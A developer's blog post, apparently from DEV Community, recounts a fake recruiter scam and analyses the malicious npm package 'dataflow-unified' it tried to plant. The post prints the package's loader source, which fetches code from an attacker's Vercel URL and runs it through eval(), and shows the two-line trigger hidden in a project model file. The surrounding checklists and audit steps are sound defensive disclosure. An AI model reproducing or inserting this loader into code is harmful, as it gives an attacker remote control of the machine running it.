This content originally appeared on DEV Community and was authored by sebastianthomas94
TL;DR: I was targeted by a sophisticated social engineering attack disguised as a high-paying job offer. The attacker attempted to install a malicious npm package (dataflow-unified) that would have given them complete remote access to my machine. Here’s how I caught it.
How It Started: The Perfect Job Offer
It began innocently enough – I received a LinkedIn message from Michelle Montesclaros about a contract role building a betting application:
- Initial Contact: HR recruiter reaches out on LinkedIn
- The Hook: “Our budget is double your hourly rate” (immediately suspicious, but tempting)
- Quick Process: Sent resume and rate out of curiosity
- The Handoff: Connected to a “tech lead” for the technical assessment
At this point, I was cautiously optimistic. The pay was too good to be true, but I wanted to see where this went.
Red Flags Started Appearing
Red Flag #1: Specific Node.js Version Requirement
The “tech lead” was adamant that I install Node.js version 20.19.3 – not “20.x” or “latest LTS”, but this exact patch version.
# Their instruction:
"Please install Node.js 20.19.3 specifically for compatibility"
Why this was suspicious: While version-specific requirements exist in real projects, the insistence on an exact patch version felt odd. I later discovered this was a trust-building tactic – the version IS legitimate (released June 23, 2025), so when I installed it and it worked perfectly, I’d trust their next instruction.
Red Flag #2: Code Sent via OneDrive
Instead of a GitHub/GitLab repository, the project was sent as a OneDrive shared folder.
Why this matters:
- No version control history to audit
- No public scrutiny or code reviews
- Harder to trace back to the attacker
- Can be deleted instantly after the attack
Red Flag #3: Amateur Code Quality
Looking through the codebase, I found:
// Multiple unused environment variables
GOOGLE_CLIENT_ID=exposed-in-plaintext
GOOGLE_CLIENT_SECRET=also-exposed
OPENAI_API_KEY=hardcoded-in-code
// Tutorial-level code quality
app.listen(3000, () => console.log('Server running'));
This didn’t look like a production codebase from a company willing to pay 2x market rate. It looked like a prototype designed to appear legitimate.
The Attack Vector: Hidden Malware
The Discovery
Buried deep in server/models/TeamStats.js, I found these two lines:
const mongoose = require('mongoose');
const Team = require('./Team');
const axios = require('axios');
// 👇 THE MALICIOUS CODE - Hidden among legitimate imports
const { unifyFlow } = require('dataflow-unified');
unifyFlow("133");
let teamStatsSchema = new mongoose.Schema({
team: { type: mongoose.SchemaTypes.ObjectId, ref: 'Team' },
// ... rest of the model
});
What made this suspicious:
- Unknown package name:
dataflow-unified - Unexplained function call:
unifyFlow("133")with a magic number - No documentation or comments explaining what this does
- The package wasn’t even used – just called once and forgotten
Investigating the Package
I searched for dataflow-unified on npm and found:
{
"name": "dataflow-unified",
"version": "14.1.3",
"description": "A Node.js utility for fetching resources from multiple CDN providers",
"author": "copperadev",
"repository": "https://github.com/copperadev/dataflow-unified.git"
}
Looked legitimate at first glance. BUT:
- The GitHub repository doesn’t exist (404 error)
- The package was published recently
- Zero documentation
- Only 1 dependency: the deprecated
requestpackage
I fetched the actual source code from unpkg.com and found this:
const req = require('request');
const token = "132";
const options = {
url: 'https://ip-api-check-nine.vercel.app/icons/',
headers: { 'User-Agent': 'node' }
};
function unifyFlow(reqtoken = token, reqoptions = options, ret = 1) {
reqoptions.url = `${reqoptions.url}${reqtoken}`;
const mreq = (atlf) => {
req(reqoptions, (e, r, b) => {
try {
// 🚨 THIS IS THE ATTACK: eval() executes ANY code from the attacker's server
eval(JSON.parse(b));
} catch (err) {
mreq(atlf - 1);
}
});
};
mreq(ret);
}
module.exports = { unifyFlow };
How The Attack Works
Stage 1: Social Engineering
- Attacker contacts victim via LinkedIn (appears professional)
- Offers double the market rate (creates urgency and greed)
- Requests specific Node.js version (builds credibility when it works)
- Sends “project” via OneDrive (avoids public scrutiny)
Stage 2: Malware Delivery
The malicious package does this:
// When you run the code:
unifyFlow("133");
// It contacts the attacker's server:
https://ip-api-check-nine.vercel.app/icons/133
// The server responds with JavaScript code:
{ "payload": "require('child_process').exec('malicious-command')" }
// eval() executes whatever the attacker sends:
eval(JSON.parse(response)); // ☠ FULL SYSTEM COMPROMISE
Stage 3: Remote Code Execution
Once eval() runs, the attacker can:
Install keyloggers β Steal passwords, crypto wallet keys, 2FA codes
Create reverse shells β Full terminal/PowerShell access
Exfiltrate files β Steal .env files, SSH keys, browser data
Install persistence β Malware survives reboots
Deploy ransomware β Lock files and demand payment
Mine cryptocurrency β Use your CPU/GPU without permission
Lateral movement β Spread to other machines on your network
How I Prevented The Attack
What Saved Me:
- Commented out suspicious code instead of running it blindly
// const { unifyFlow } = require('dataflow-unified');
// unifyFlow("133");
Questioned every unusual requirement (specific Node version, OneDrive delivery)
Manually audited dependencies before running
npm installResearched unknown packages before trusting them
Verified the GitHub repository (which didn’t exist)
Inspected the actual package source code on unpkg.com
Technical Analysis: Why This Attack Is Dangerous
Dynamic Payload Delivery
The attacker’s server can serve different malware to different victims:
// To a browser (when someone investigates):
return { "ip": "113.192.5.146", "country": "India" }; // Looks harmless
// To Node.js (the actual target):
return { "payload": "malicious-backdoor-code" }; // The actual attack
Bypasses Traditional Security
| Security Measure | Why It Failed |
|---|---|
| npm audit | Package wasn’t flagged (too new) |
| Antivirus | No signature (code downloaded at runtime) |
| Static analysis |
eval() obfuscates intent |
| Dependency scanning | Manual installation avoided package.json |
| Code review | Hidden in 1,000+ lines of boilerplate |
Red Flags Checklist for Developers
Watch out for these warning signs:
During Job Interviews:
- [ ] Offer is significantly above market rate (2x or more)
- [ ] No video call or proper company verification
- [ ] Immediate “technical assessment” without proper vetting
- [ ] Pressure to install specific software versions
- [ ] Code sent via file sharing instead of Git repositories
In The Codebase:
- [ ] Unknown npm packages with no documentation
- [ ] GitHub repositories that don’t exist
- [ ] Packages published very recently (< 1 month)
- [ ] Function calls with unexplained “magic numbers”
- [ ] Use of
eval(),Function(), orchild_process.exec() - [ ] Hardcoded URLs to suspicious domains
- [ ] Code that “phones home” without explanation
General Security:
- [ ] Exposed credentials in
.envfiles - [ ] Amateur code quality from “professional” companies
- [ ] No CI/CD pipeline or testing infrastructure
- [ ] Requests to disable security features
How to Protect Yourself
Before Running Code:
# 1. ALWAYS audit package.json dependencies
cat package.json | grep dependencies
# 2. Check if GitHub repos exist
# Visit: https://github.com/[author]/[package-name]
# 3. Inspect package source code
# Visit: https://unpkg.com/[package-name]/
# 4. Check package reputation
npm info [package-name]
# Look for: weekly downloads, last publish date, maintainers
# 5. Use automated security scanning
npm audit
npx snyk test
During Development:
// ❌ NEVER trust eval() or its equivalents
eval(untrustedCode);
Function(untrustedCode)();
require('child_process').exec(untrustedCode);
// ✅ Use safe alternatives
JSON.parse(trustedData); // Only if you control the source
General Best Practices:
- Use a sandbox VM for unknown code
- Never commit credentials to Git (use .gitignore)
- Enable 2FA on all accounts (GitHub, npm, email)
- Review package-lock.json for unexpected dependencies
-
Use
npm ciin production (enforces exact versions) - Monitor for new dependencies in pull requests
- Report malicious packages to npm security team
Reporting Malicious Packages
If you find a malicious package:
- Report to npm: https://www.npmjs.com/support
- Report to GitHub (if repo exists): https://github.com/contact/report-abuse
- Share on social media with #npmsecurity hashtag
- Document the attack for the community
Status of dataflow-unified:
Reported to npm security team
Package is now flagged as malicious
Still available on unpkg.com (CDN caching)
The Bigger Picture: Supply Chain Attacks Are Increasing
Recent npm Security Incidents:
| Year | Package | Impact |
|---|---|---|
| 2021 | ua-parser-js |
8M+ weekly downloads compromised |
| 2022 | node-ipc |
Malware targeting Russian/Belarusian IPs |
| 2023 | @zkwasm/toolchain |
Cryptocurrency wallet stealer |
| 2024 | Multiple typosquatting attacks | 100+ malicious packages |
| 2025 | dataflow-unified |
This attack (and possibly others) |
Why This Keeps Happening:
- npm has 2.5+ million packages – impossible to manually review all
- Anyone can publish – no mandatory security review
- Developers trust too easily – “If it’s on npm, it must be safe”
- Automated CI/CD – Malicious code runs without human review
- Dependency hell – Modern apps have 1,000+ transitive dependencies
Lessons Learned
For Developers:
- Trust, but verify – Always audit unfamiliar code
- Security is not optional – One mistake can compromise everything
- Be skeptical of “too good to be true” offers – They usually are
For npm/Package Registries:
- Better automated detection – Use ML/AI to flag suspicious patterns
- Mandatory source verification – Link GitHub repos to packages
- Faster response times – Remove malicious packages within hours, not days
- Reputation systems – Warn users about packages from new/unknown authors
For Companies:
- Security training – Teach developers to recognize social engineering
- Code review processes – Don’t let code reach production without review
- Supply chain security – Audit all dependencies, not just direct ones
Final Thoughts
This attack was sophisticated and well-executed:
- Professional-looking LinkedIn profile

- Legitimate Node.js version to build trust

- Amateur code to appear “realistic”

- Hidden malware in plausible location

- Dynamic payload to evade detection

But it failed because I followed basic security practices:
- Question unusual requirements
- Audit before running code
- Research unknown packages
- Verify repository existence
The attacker was one npm install away from complete system access.
Stay safe out there, and remember: The best security is healthy paranoia.
Have you encountered similar job scams or malicious packages? Share your story in the comments below.
Security #NPM #JavaScript #CyberSecurity #DeveloperSafety #SupplyChainAttack #InfoSec
This content originally appeared on DEV Community and was authored by sebastianthomas94